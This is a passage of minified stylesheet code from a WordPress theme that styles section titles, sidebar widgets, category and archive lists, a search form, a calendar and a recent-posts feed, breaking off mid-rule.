.widget-title{display:block}.penci-homepage-title.style-22.penci-border-arrow .inner-arrow,.penci-sidebar-content.style-21 .inner-arrow{padding-top:7px;background:0 0!important}.penci-homepage-title.style-21 .inner-arrow span,.penci-sidebar-content.style-21 .widget-title span{color:var(--pcheading-cl)}.penci-homepage-title.style-21 .inner-arrow>a:after,.penci-homepage-title.style-21 .inner-arrow>span:after,.penci-sidebar-content.style-21 .widget-title span:after{position:absolute;left:0;bottom:0;width:100px;height:2px;content:"";background:linear-gradient(90deg,var(--pcaccent-cl) 0,transparent 100%)}.penci-homepage-title.style-21.pcalign-right .inner-arrow>a:after,.penci-homepage-title.style-21.pcalign-right .inner-arrow>span:after,.penci-sidebar-content.style-21.pcalign-right .widget-title span:after{right:0;left:auto;background:linear-gradient(90deg,transparent 0,var(--pcaccent-cl) 100%)}.penci-homepage-title.style-21.pcalign-center .inner-arrow>a:after,.penci-homepage-title.style-21.pcalign-center .inner-arrow>span:after,.penci-sidebar-content.style-21.pcalign-center .widget-title span:after{left:50%;right:50%;transform:translateX(-50%);background:linear-gradient(90deg,transparent 0,var(--pcaccent-cl) 50%,transparent 100%)}.penci-homepage-title.style-22 .inner-arrow,.penci-homepage-title.style-22.penci-border-arrow,.penci-sidebar-content.style-22 .inner-arrow,.penci-sidebar-content.style-22 .widget-title{border:0;background:0 0;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0;display:inline-block}.penci-homepage-title.style-22.penci-border-arrow,.penci-sidebar-content.style-22 .widget-title{display:block}.penci-homepage-title.style-22:after,.penci-homepage-title.style-22:before{display:none}.penci-homepage-title.style-22 .inner-arrow>a,.penci-homepage-title.style-22 .inner-arrow>span,.penci-sidebar-content.style-22 .widget-title>span{color:var(--pcheading-cl);letter-spacing:.05rem;z-index:3;position:relative;background:var(--pcbg-cl);margin:0 30px;padding:0 10px}.penci-homepage-title.style-22 .inner-arrow:after,.penci-homepage-title.style-22 .inner-arrow:before,.penci-sidebar-content.style-22 .widget-title:after,.penci-sidebar-content.style-22 .widget-title:before{position:absolute;left:0;top:50%;bottom:50%;width:8px;height:8px;content:"";transform:translateY(-50%);background:var(--pcaccent-cl);z-index:2;border-radius:50%;border:0}.penci-homepage-title.style-22 .inner-arrow:after,.penci-sidebar-content.style-22 .widget-title:after{background:var(--pcborder-cl);left:0;right:0;height:1px;z-index:1;width:100%}.penci-sidebar-content.style-22 .widget-title:after,.penci-sidebar-content.style-22 .widget-title:before{display:block}.penci-homepage-title.style-23 .inner-arrow,.penci-homepage-title.style-23.penci-border-arrow,.penci-sidebar-content.style-23 .inner-arrow,.penci-sidebar-content.style-23 .widget-title{border:0;background:0 0!important;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0}.penci-homepage-title.style-23:after,.penci-homepage-title.style-23:before,.penci-sidebar-content.style-23 .widget-title:after,.penci-sidebar-content.style-23 .widget-title:before{display:none}.penci-homepage-title.style-23 .inner-arrow>a,.penci-homepage-title.style-23 .inner-arrow>span,.penci-sidebar-content.style-23 .widget-title>span{color:var(--pcheading-cl);letter-spacing:-.005rem;z-index:3;padding:0 0 0 35px;position:relative;display:inline-block}.penci-homepage-title.style-23 .inner-arrow>a:after,.penci-homepage-title.style-23 .inner-arrow>a:before,.penci-homepage-title.style-23 .inner-arrow>span:after,.penci-homepage-title.style-23 .inner-arrow>span:before,.penci-sidebar-content.style-23 .widget-title>span:after,.penci-sidebar-content.style-23 .widget-title>span:before{position:absolute;left:5px;top:50%;bottom:50%;width:9px;height:85%;content:"";transform:translateY(-50%) skew(-20deg);background:var(--pcaccent-cl);z-index:2}.penci-homepage-title.style-23 .inner-arrow>a:after,.penci-homepage-title.style-23 .inner-arrow>span:after,.penci-sidebar-content.style-23 .widget-title>span:after{left:17px;background:var(--pcborder-cl)}.penci-homepage-title.style-24 .inner-arrow,.penci-homepage-title.style-24.penci-border-arrow,.penci-sidebar-content.style-24 .inner-arrow,.penci-sidebar-content.style-24 .widget-title{border:0;background:0 0!important;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0}.penci-homepage-title.style-24:after,.penci-homepage-title.style-24:before,.penci-sidebar-content.style-24 .widget-title:after,.penci-sidebar-content.style-24 .widget-title:before{display:none}.penci-homepage-title.style-24 .inner-arrow>a,.penci-homepage-title.style-24 .inner-arrow>span,.penci-sidebar-content.style-24 .widget-title>span{color:var(--pcheading-cl);padding:0 0 10px;z-index:3;position:relative;display:inline-block}.penci-homepage-title.style-24 .inner-arrow>a:after,.penci-homepage-title.style-24 .inner-arrow>a:before,.penci-homepage-title.style-24 .inner-arrow>span:after,.penci-homepage-title.style-24 .inner-arrow>span:before,.penci-sidebar-content.style-24 .widget-title>span:after,.penci-sidebar-content.style-24 .widget-title>span:before{position:absolute;left:0;bottom:0;width:15px;height:5px;content:"";background:var(--pcaccent-cl);z-index:2}.penci-homepage-title.style-24 .inner-arrow>a:after,.penci-homepage-title.style-24 .inner-arrow>span:after,.penci-sidebar-content.style-24 .widget-title>span:after{left:20px;background:var(--pcborder-cl);width:calc(100% - 20px)}.penci-homepage-title.style-25 .inner-arrow,.penci-homepage-title.style-25.penci-border-arrow,.penci-sidebar-content.style-25 .inner-arrow,.penci-sidebar-content.style-25 .widget-title{border:0;background:0 0;margin-left:0;margin-right:0;margin-top:0}.penci-homepage-title.style-25 .inner-arrow,.penci-sidebar-content.style-25 .inner-arrow,.penci-sidebar-content.style-25 .widget-title{border:0;background:var(--pcaccent-cl);overflow:hidden}.penci-homepage-title.style-25:after,.penci-homepage-title.style-25:before,.penci-sidebar-content.style-25 .widget-title:after,.penci-sidebar-content.style-25 .widget-title:before{display:none}.penci-homepage-title.style-25 .inner-arrow>a,.penci-homepage-title.style-25 .inner-arrow>span,.penci-sidebar-content.style-25 .widget-title span{color:#fff;font-size:18px;z-index:3;font-weight:bolder;text-shadow:var(--pcheading-cl) 1px 1px,var(--pcheading-cl) 2px 2px,var(--pcheading-cl) 3px 3px,var(--pcheading-cl) 3px 3px,var(--pcheading-cl) 4px 4px,var(--pcheading-cl) 5px 5px,var(--pcheading-cl) 6px 6px,var(--pcheading-cl) 7px 7px,var(--pcheading-cl) 8px 8px,var(--pcheading-cl) 9px 9px,var(--pcheading-cl) 10px 10px,var(--pcheading-cl) 11px 11px,var(--pcheading-cl) 12px 12px,var(--pcheading-cl) 13px 13px,var(--pcheading-cl) 14px 14px,var(--pcheading-cl) 15px 15px,var(--pcheading-cl) 16px 16px,var(--pcheading-cl) 17px 17px,var(--pcheading-cl) 18px 18px,var(--pcheading-cl) 19px 19px,var(--pcheading-cl) 20px 20px,var(--pcheading-cl) 21px 21px,var(--pcheading-cl) 22px 22px,var(--pcheading-cl) 23px 23px,var(--pcheading-cl) 24px 24px,var(--pcheading-cl) 25px 25px,var(--pcheading-cl) 26px 26px,var(--pcheading-cl) 27px 27px,var(--pcheading-cl) 28px 28px,var(--pcheading-cl) 29px 29px,var(--pcheading-cl) 30px 30px,var(--pcheading-cl) 31px 31px,var(--pcheading-cl) 32px 32px,var(--pcheading-cl) 33px 33px,var(--pcheading-cl) 34px 34px,var(--pcheading-cl) 35px 35px,var(--pcheading-cl) 36px 36px,var(--pcheading-cl) 37px 37px,var(--pcheading-cl) 38px 38px,var(--pcheading-cl) 39px 39px,var(--pcheading-cl) 40px 40px,var(--pcheading-cl) 41px 41px,var(--pcheading-cl) 42px 42px,var(--pcheading-cl) 43px 43px,var(--pcheading-cl) 44px 44px,var(--pcheading-cl) 45px 45px,var(--pcheading-cl) 46px 46px,var(--pcheading-cl) 47px 47px,var(--pcheading-cl) 48px 48px,var(--pcheading-cl) 49px 49px,var(--pcheading-cl) 50px 50px,var(--pcheading-cl) 51px 51px,var(--pcheading-cl) 52px 52px,var(--pcheading-cl) 53px 53px,var(--pcheading-cl) 54px 54px,var(--pcheading-cl) 55px 55px,var(--pcheading-cl) 56px 56px,var(--pcheading-cl) 57px 57px,var(--pcheading-cl) 58px 58px,var(--pcheading-cl) 59px 59px,var(--pcheading-cl) 60px 60px,var(--pcheading-cl) 61px 61px,var(--pcheading-cl) 62px 62px,var(--pcheading-cl) 63px 63px,var(--pcheading-cl) 64px 64px,var(--pcheading-cl) 65px 65px,var(--pcheading-cl) 66px 66px,var(--pcheading-cl) 67px 67px,var(--pcheading-cl) 68px 68px,var(--pcheading-cl) 69px 69px,var(--pcheading-cl) 70px 70px,var(--pcheading-cl) 71px 71px,var(--pcheading-cl) 72px 72px,var(--pcheading-cl) 73px 73px,var(--pcheading-cl) 74px 74px,var(--pcheading-cl) 75px 75px,var(--pcheading-cl) 76px 76px,var(--pcheading-cl) 77px 77px,var(--pcheading-cl) 78px 78px,var(--pcheading-cl) 79px 79px,var(--pcheading-cl) 80px 80px,var(--pcheading-cl) 81px 81px,var(--pcheading-cl) 82px 82px,var(--pcheading-cl) 83px 83px,var(--pcheading-cl) 84px 84px,var(--pcheading-cl) 85px 85px,var(--pcheading-cl) 86px 86px,var(--pcheading-cl) 87px 87px,var(--pcheading-cl) 88px 88px,var(--pcheading-cl) 89px 89px,var(--pcheading-cl) 90px 90px,var(--pcheading-cl) 91px 91px,var(--pcheading-cl) 92px 92px,var(--pcheading-cl) 93px 93px,var(--pcheading-cl) 94px 94px,var(--pcheading-cl) 95px 95px,var(--pcheading-cl) 96px 96px,var(--pcheading-cl) 97px 97px,var(--pcheading-cl) 98px 98px,var(--pcheading-cl) 99px 99px,var(--pcheading-cl) 100px 100px}.penci-homepage-title.style-26 .inner-arrow,.penci-sidebar-content.style-26 .inner-arrow,.penci-sidebar-content.style-26 .widget-title{border:0}.penci-homepage-title.style-26 .inner-arrow,.penci-sidebar-content.style-26 .widget-title{background:0 0!important}.penci-homepage-title.style-26:after,.penci-homepage-title.style-26:before,.penci-sidebar-content.style-26 .widget-title:after,.penci-sidebar-content.style-26 .widget-title:before{display:none}.penci-homepage-title.style-26,.penci-sidebar-content.style-26 .widget-title{margin-left:0;margin-right:0;margin-top:0}.penci-homepage-title.style-26 .inner-arrow,.penci-sidebar-content.style-26 .inner-arrow{padding:0}.penci-sidebar-content.style-26 .inner-arrow{display:inline-block}.penci-sidebar-content.style-26 .widget-title{position:relative}.penci-homepage-title.style-26 .inner-arrow:after,.penci-sidebar-content.style-26 .widget-title:after{width:100%;content:'';background:var(--pcborder-cl);display:block;height:2px;position:absolute;top:50%;bottom:50%;border:0;left:0;right:0;margin-top:-1px}.penci-homepage-title.style-26 .inner-arrow span span,.penci-sidebar-content.style-26 .inner-arrow{background-color:var(--pcbg-cl)!important;position:relative;z-index:2;padding-right:20px;border-right:2px solid var(--pcborder-cl)}.penci-homepage-title.style-26 .pcnav-lgroup{background-color:var(--pcbg-cl)!important}.penci-homepage-title.style-26.pcalign-center .inner-arrow span span,.penci-homepage-title.style-26.pcalign-right .inner-arrow span span,.penci-sidebar-content.style-26.pcalign-center .inner-arrow,.penci-sidebar-content.style-26.pcalign-right .inner-arrow{padding-left:20px;border-left:2px solid var(--pcborder-cl)}.penci-homepage-title.style-26.pcalign-right .inner-arrow span span,.penci-sidebar-content.style-26.pcalign-right .inner-arrow{border-right:0;padding-right:0}.penci-homepage-title.style-27 .inner-arrow,.penci-sidebar-content.style-27 .inner-arrow,.penci-sidebar-content.style-27 .widget-title{border:0}.penci-homepage-title.style-27 .inner-arrow,.penci-sidebar-content.style-27 .widget-title{background:0 0!important}.penci-homepage-title.style-27:after,.penci-homepage-title.style-27:before,.penci-sidebar-content.style-27 .widget-title:after,.penci-sidebar-content.style-27 .widget-title:before{display:none}.penci-homepage-title.style-27,.penci-sidebar-content.style-27 .widget-title{margin-left:0;margin-right:0;margin-top:0}.penci-homepage-title.style-27 .inner-arrow,.penci-sidebar-content.style-27 .inner-arrow{padding:0}.penci-sidebar-content.style-27 .inner-arrow{display:inline-block}.penci-sidebar-content.style-27 .widget-title{position:relative}.penci-homepage-title.style-27 .inner-arrow:after,.penci-sidebar-content.style-27 .widget-title:after{width:100%;content:"";background:var(--pcborder-cl);box-shadow:0 3px 0 var(--pcborder-cl);display:block;height:1px;position:absolute;top:50%;bottom:50%;border:0;left:0;right:0;margin-top:-1px}.penci-homepage-title.style-27 .inner-arrow span span,.penci-sidebar-content.style-27 .inner-arrow{background-color:var(--pcbg-cl)!important;position:relative;z-index:2;padding-right:20px}.penci-homepage-title.style-27 .pcnav-lgroup{background-color:var(--pcbg-cl)!important}.penci-homepage-title.style-27.pcalign-center .inner-arrow span span,.penci-homepage-title.style-27.pcalign-right .inner-arrow span span,.penci-sidebar-content.style-27.pcalign-center .inner-arrow,.penci-sidebar-content.style-27.pcalign-right .inner-arrow{padding-left:20px}.penci-homepage-title.style-27.pcalign-right .inner-arrow span span,.penci-sidebar-content.style-27.pcalign-right .inner-arrow{border-right:0;padding-right:0}.penci-homepage-title.style-28{padding:0;margin-top:0;margin-left:0;margin-right:0;--pcheading-cl:#fff}.penci-homepage-title.style-28 .inner-arrow{border:0;background:0 0;padding:0;padding-left:10px}.penci-homepage-title.style-28:after,.penci-homepage-title.style-28:before{display:none}.penci-homepage-title.style-28 span,.penci-homepage-title.style-28 span a{position:relative}.penci-homepage-title.style-28 .inner-arrow>span{display:inline-flex;align-items:center}.penci-homepage-title.style-28 span a,.penci-homepage-title.style-28 span span{padding:5px 12px;margin:0 10px;z-index:4;color:var(--pcheading-cl)}.penci-homepage-title.style-28 .inner-arrow>span:after,.penci-homepage-title.style-28 .inner-arrow>span:before,.penci-homepage-title.style-28 span a:after,.penci-homepage-title.style-28 span a:before,.penci-homepage-title.style-28 span span:after,.penci-homepage-title.style-28 span span:before{position:absolute;top:0;left:0;right:0;bottom:0;background:var(--pcaccent-cl);content:"";display:block;z-index:-1;transform:skew(-10deg,0deg);opacity:1}.penci-homepage-title.style-28 span a:before,.penci-homepage-title.style-28 span span:before{width:10px;right:auto;left:-15px;opacity:.7}.penci-homepage-title.style-28 .inner-arrow>span:after,.penci-homepage-title.style-28 .inner-arrow>span:before{width:7px;left:auto;right:-2px;opacity:.7}.penci-homepage-title.style-28 .inner-arrow>span:after{right:-18px;width:12px;opacity:.5}.penci-sidebar-content.style-28 .inner-arrow,.penci-sidebar-content.style-28 .widget-title{border:0}.penci-sidebar-content.style-28 .widget-title{background:0 0!important}.penci-sidebar-content.style-28 .widget-title:after,.penci-sidebar-content.style-28 .widget-title:before{display:none}.penci-sidebar-content.style-28 .widget-title{margin-left:0;margin-right:0;margin-top:0}.penci-sidebar-content.style-28 .inner-arrow{padding:0}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow{padding:0;margin:0;--pcheading-cl:#fff}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow{border:0;background:0 0}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow{position:relative}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow{padding:5px 12px;margin:0 10px;z-index:4;color:var(--pcheading-cl)}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-28 .penci-border-arrow:after,.penci-sidebar-content.style-28 .penci-border-arrow:before{position:absolute;top:0;left:0;right:0;bottom:0;background:var(--pcaccent-cl);content:"";display:block;z-index:-1;transform:skew(-10deg,0deg);opacity:1;height:100%}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-28 .penci-border-arrow:after,.penci-sidebar-content.style-28 .penci-border-arrow:before{width:10px;right:auto;left:-15px;opacity:.7}.penci-sidebar-content.style-28 .penci-border-arrow:after,.penci-sidebar-content.style-28 .penci-border-arrow:before{border:0}.penci-sidebar-content.style-28 .penci-border-arrow:after,.penci-sidebar-content.style-28 .penci-border-arrow:before{width:7px;left:auto;right:-2px;opacity:.7}.penci-sidebar-content.style-28 .penci-border-arrow:before{right:14px;left:auto;opacity:1;margin:0;position:absolute}.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:after{right:0;left:0;opacity:1;width:calc(100% - 15px)}.penci-sidebar-content.style-28 .penci-border-arrow:after{right:0;width:10px;left:auto}.penci-homepage-title.style-29 .inner-arrow,.penci-homepage-title.style-29.penci-border-arrow,.penci-sidebar-content.style-29 .inner-arrow,.penci-sidebar-content.style-29 .widget-title{border:0;background:0 0!important;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0}.penci-homepage-title.style-29:after,.penci-homepage-title.style-29:before,.penci-sidebar-content.style-29 .widget-title:after,.penci-sidebar-content.style-29 .widget-title:before{display:none}.penci-homepage-title.style-29.penci-border-arrow,.penci-sidebar-content.style-29 .widget-title{display:block}.penci-homepage-title.style-29.penci-border-arrow .inner-arrow,.penci-sidebar-content.style-29 .inner-arrow{padding-top:7px;background:0 0!important}.penci-homepage-title.style-29 .inner-arrow span,.penci-sidebar-content.style-29 .widget-title span{color:var(--pcheading-cl)}.penci-homepage-title.style-29 .inner-arrow>span,.penci-sidebar-content.style-29 .widget-title>span{padding:0 0 0 20px;position:relative}.penci-homepage-title.style-29.pcalign-right .inner-arrow>span,.penci-sidebar-content.style-29.pcalign-right .widget-title>span{padding:0 20px 0 0}.penci-homepage-title.style-29 .inner-arrow>span:before,.penci-sidebar-content.style-29 .widget-title>span:before{content:"";width:10px;height:3px;background:var(--pcaccent-cl);position:absolute;top:0;left:0}.penci-homepage-title.style-29 .inner-arrow>span:after,.penci-sidebar-content.style-29 .widget-title>span:after{content:"";width:3px;height:10px;background:var(--pcaccent-cl);position:absolute;top:0;left:0}.penci-homepage-title.style-29.pcalign-right .inner-arrow>span:before,.penci-sidebar-content.style-29.pcalign-right .widget-title>span:before{left:auto;right:0}.penci-homepage-title.style-29.pcalign-right .inner-arrow>span:after,.penci-sidebar-content.style-29.pcalign-right .widget-title>span:after{left:auto;right:0}.penci-homepage-title.style-30 .inner-arrow,.penci-homepage-title.style-30.penci-border-arrow,.penci-sidebar-content.style-30 .inner-arrow,.penci-sidebar-content.style-30 .widget-title{border:0;background:0 0;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0}.penci-homepage-title.style-30:after,.penci-homepage-title.style-30:before,.penci-sidebar-content.style-30 .widget-title:after,.penci-sidebar-content.style-30 .widget-title:before{display:none}.penci-homepage-title.style-30.penci-border-arrow,.penci-sidebar-content.style-30 .widget-title{display:block}.penci-homepage-title.style-30.penci-border-arrow .inner-arrow,.penci-sidebar-content.style-30 .inner-arrow{padding-top:0;background:0 0}.penci-homepage-title.style-30 .inner-arrow>span,.penci-sidebar-content.style-30 .widget-title>span{color:#fff;background:var(--pcaccent-cl);display:inline-block;padding:5px 10px;transform:skewX(-15deg);z-index:2;position:relative}.penci-homepage-title.style-30:before,.penci-sidebar-content.style-30 .widget-title:before{display:block;border:0;width:calc(100% - 5px);height:1px;background:var(--pcborder-cl);left:5px;right:0;top:50%;transform:translateY(-50%);z-index:1}.penciel-bheading .inner-arrow span{display:inline-flex;align-items:center}.widget ol,.widget ul{list-style:none}.penci-block-popular-cat ul{padding-left:0}.widget ol ol,.widget ul ul{padding-top:11px;margin-top:12px;border-top:1px solid var(--pcborder-cl);padding-left:20px}.widget ol li,.widget ul li{margin-bottom:11px;padding-bottom:12px;border-bottom:1px solid var(--pcborder-cl);font-size:14px;color:#888}.widget ol>li:last-child,.widget ul>li:last-child{margin-bottom:0;padding-bottom:0;border-bottom:none}.widget ol li a,.widget ul li a{font-size:14px;font-style:normal;line-height:1.4}.widget a{color:var(--pctext-cl)}.widget a:hover{color:var(--pcaccent-cl);text-decoration:underline}.widget.widget_archive label.screen-reader-text,.widget.widget_categories label.screen-reader-text{display:none}.widget .screen-reader-text{display:block;margin:0 0 10px 0;font-size:14px}.widget select{padding:2px;line-height:32px;min-height:32px;vertical-align:middle;border-spacing:0;clear:both;margin:0;font-size:14px;width:100%;max-width:360px;outline:0}.pc-widget-advanced-tax.tax-style-1 ul li,.widget.widget_archive ul li,.widget.widget_categories ul li{text-align:right;color:#888;display:table;width:100%;font-style:italic;padding-right:0}.pc-widget-advanced-tax.tax-style-1 ul li,.widget.widget_categories ul li{text-align:left}.widget.widget_archive ul li a{float:left}.pc-widget-advanced-tax.tax-style-1 ul li a,.widget.widget_categories ul li a{display:block!important;text-decoration:none}.pc-widget-advanced-tax.tax-style-1 ul li a:before,.widget.widget_archive ul li a:before,.widget.widget_categories ul li a:before{content:"\f105";font-family:FontAwesome;display:inline-block;margin-right:10px;font-size:90%}.penci-fawesome-ver5 .widget.widget_archive ul li a:before,.penci-fawesome-ver5 .widget.widget_categories ul li a:before{font-family:"Font Awesome 5 Free";font-weight:900}.pc-widget-advanced-tax.tax-style-1 ul li span.category-item-count,.widget.widget_categories ul li span.category-item-count{float:right;font-style:normal;color:#888;font-family:var(--pcbody-font);font-weight:400}form.pc-searchform{position:relative}form.pc-searchform input.search-input{border:1px solid #e9e9e9;background:0 0;padding:12px 40px 12px 20px;color:#313131;font-size:13px;font-family:var(--pcbody-font);font-weight:400;width:100%}form.pc-searchform i{position:absolute;color:var(--pctext-cl);top:50%;transform:translateY(-50%);-webkit-transform:translateY(-50%);right:20px;z-index:1;font-size:15px;opacity:.9}form.pc-searchform #s:focus{outline:0}.penci-sidebar-content .widget form.pc-searchform input.search-input,.widget form.pc-searchform input.search-input{width:100%;max-width:100%;background-color:transparent;margin-bottom:0}.penci-about-me .about-widget,.widget .about-widget{text-align:center}.penci-about-me .about-widget.pc_alignleft,.widget .about-widget.pc_alignleft{text-align:left}.penci-about-me .about-widget.pc_alignright,.widget .about-widget.pc_alignright{text-align:right}.about-widget img{max-width:100%!important;height:auto;margin-bottom:20px;width:100%}.about-widget .about-me-heading{color:#313131;font-size:18px;font-family:var(--pcbody-font);font-weight:700;padding-bottom:16px;line-height:1.3;margin-bottom:19px;position:relative}.about-widget .about-me-heading:before{content:"";display:inline-block;width:60px;position:absolute;margin-left:-30px;left:50%;bottom:0;border-top:1px solid var(--pcaccent-cl)}.about-widget.pc_alignleft .about-me-heading:before{margin:0;left:0}.about-widget.pc_alignright .about-me-heading:before{margin:0;left:auto;right:0}.pc-widget-advanced-tax.tax-style-2 a,.widget .tagcloud a{text-transform:uppercase;background:#fff;color:#999;padding:6px 12px 5px;margin-right:5px;margin-bottom:8px;display:inline-block;font-size:11px;background:0 0;border:1px solid #dedede;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;outline:0;font-weight:400;line-height:1.2}.widget .tagcloud a{font-size:11px!important}.pc-widget-advanced-tax.tax-style-2 a{display:inline-flex;align-items:center}.pc-widget-advanced-tax.tax-style-3 select{padding-left:10px;padding-right:10px}.pc-widget-advanced-tax.tax-style-2 .tag-link-count{margin-left:3px}.pc-widget-advanced-tax.tax-style-2 a:hover,.widget .tagcloud a:hover{color:#fff;background:var(--pcaccent-cl);border-color:var(--pcaccent-cl);text-decoration:none}#wp-calendar{width:100%}#wp-calendar caption{text-align:center;color:#777;font-size:14px;margin-top:10px;margin-bottom:10px;font-weight:700}.post-entry #wp-calendar caption{font-size:16px;margin-bottom:10px;color:inherit}#wp-calendar thead{font-size:12px}#wp-calendar thead th{padding-bottom:10px}#wp-calendar tbody{color:#aaa}#wp-calendar tbody td{background:#f5f5f5;border:1px solid #fff;text-align:center;padding:8px}#wp-calendar tbody td a{font-weight:700;color:#222}#wp-calendar tbody td:hover{background:#fff}#wp-calendar tbody .pad{background:0 0}#wp-calendar tfoot #next{font-size:11px;text-transform:uppercase;text-align:right}#wp-calendar tfoot #prev{font-size:12px;text-transform:uppercase;padding-top:15px}#wp-calendar thead th{padding-bottom:10px;text-align:center}.wp-calendar-nav{margin-top:10px}.post-entry .wp-calendar-nav{margin-bottom:20px;margin-top:0}.wp-block-calendar a{text-decoration:none}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.widgettitle{margin-bottom:10px}.penci_recent-posts-sc ul.side-newsfeed{padding:0;margin:0}.penci_recent-posts-sc ul.side-newsfeed:after,.penci_recent-posts-sc ul.side-newsfeed:before,.widget ul.side-newsfeed:after,.widget ul.side-newsfeed:before{display:table;content:"";clear:both;line-height:0}.penci_recent-posts-sc ul.side-newsfeed li{border-bottom:1px solid #dedede;font-size:14px;color:#888}.penci_recent-posts-sc ul.side-newsfeed li,.widget ul.side-newsfeed li{list-style-type:none;margin-bottom:20px;padding-bottom:20px;margin-left:0;position:relative}.side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee{border-bottom:1px solid var(--pcborder-cl);padding-bottom:20px;margin-bottom:20px}ul.side-newsfeed.penci-rcpw-hborders li{padding-bottom:0!important;border-bottom:none!important}.penci_recent-posts-sc ul.penci-feed-2columns li,.widget ul.penci-feed-2columns li{width:47%;float:left;padding-bottom:0;margin-bottom:20px;border-bottom:none}.penci_recent-posts-sc ul.penci-feed-2columns.display-order-numbers li,.widget ul.penci-feed-2columns.display-order-numbers li{margin-bottom:30px}.penci_recent-posts-sc ul.penci-2columns-feed>li:nth-child(2n+1),.widget ul.penci-2columns-feed>li:nth-child(2n+1){clear:both;margin-right:6%}.penci_recent-posts-sc ul.penci-2columns-featured>li:nth-child(2n),.widget ul.penci-2columns-featured>li:nth-child(2n){clear:both;margin-right:6%}.penci_recent-posts-sc ul.side-newsfeed li:last-child,.penci_recent-posts-sc ul.side-newsfeed.penci-feed-2columns li:nth-last-child(2),.widget ul.side-newsfeed li:last-child,.widget ul.side-newsfeed.penci-feed-2columns li:nth-last-child(2){margin-bottom:0!important;padding-bottom:0!important}.penci_recent-posts-sc ul.side-newsfeed li:last-child{border-bottom:0!important}.penci_recent-posts-sc ul.side-newsfeed li .side-item,.widget ul.side-newsfeed li .side-item{overflow:hidden;position:relative}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image,.widget ul.side-newsfeed li .side-item .side-image{float:left;margin-right:20px;position:relative}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image.thumbnail-right,.widget ul.side-newsfeed li .side-item .side-image.thumbnail-right{float:right;margin-right:0;margin-left:20px}.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image,.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image.thumbnail-right,.widget ul.penci-feed-2columns li .side-item .side-image,.widget ul.penci-feed-2columns li .side-item .side-image.thumbnail-right{width:100%;margin:0 0 16px 0;float:none!important}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a,.widget ul.side-newsfeed li .side-item .side-image a{transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a:hover,.widget ul.side-newsfeed li .side-item .side-image a:hover{opacity:.8}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a span.count-post,.widget ul.side-newsfeed li .side-item .side-image a span.count-post{position:absolute;z-index:2;bottom:10px;left:10px;display:inline-block;background:#fff;color:#010101;width:30px;height:30px;line-height:30px;font-size:16px;text-align:center;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,.widget ul.side-newsfeed li .side-item .side-image img{width:120px;height:auto}.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image .small-fix-size,.widget ul.penci-feed-2columns li .side-item .side-image .small-fix-size{width:100%}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text,.widget ul.side-newsfeed li .side-item .side-item-text{overflow:hidden}.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-item-text,.widget ul.penci-feed-2columns li .side-item .side-item-text{display:block}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4,.widget ul.side-newsfeed li .side-item .side-item-text h4{margin-bottom:0}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,.widget ul.side-newsfeed li .side-item .side-item-text h4 a{margin-bottom:0;color:var(--pcheading-cl);display:block;font-size:16px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;letter-spacing:0;line-height:1.4}.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-item-text h4 a,.widget ul.penci-feed-2columns li .side-item .side-item-text h4 a{font-size:14px;margin-bottom:2px}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a:hover,.widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover{color:var(--pcaccent-cl);text-decoration:none}.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta{letter-spacing:0;color:#888;font-family:inherit;font-size:13px}.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{color:var(--pctext-cl);font-size:inherit}.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{color:var(--pcaccent-cl)}ul.side-newsfeed li .grid-post-box-meta.penci-side-item-meta{margin-top:5px;line-height:1.2}ul.side-newsfeed li .grid-post-box-meta.penci-side-item-meta.pcsnmt-above{margin:0 0 5px 0}.penci_recent-posts-sc ul.side-newsfeed li.featured-news,.widget ul.side-newsfeed li.featured-news{width:100%!important;margin-right:0}.penci_recent-posts-sc ul.side-newsfeed li.featured-news.all-featured-news,.widget ul.side-newsfeed li.featured-news.all-featured-news{border-bottom:none;margin-bottom:0;padding-bottom:26px}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-image,.widget ul.side-newsfeed li.featured-news .side-image{float:none!important;margin:0 0 12px 0!important}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-image img,.widget ul.side-newsfeed li.featured-news .side-image img{width:100%!important}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-item-text h4 a,.widget ul.side-newsfeed li.featured-news 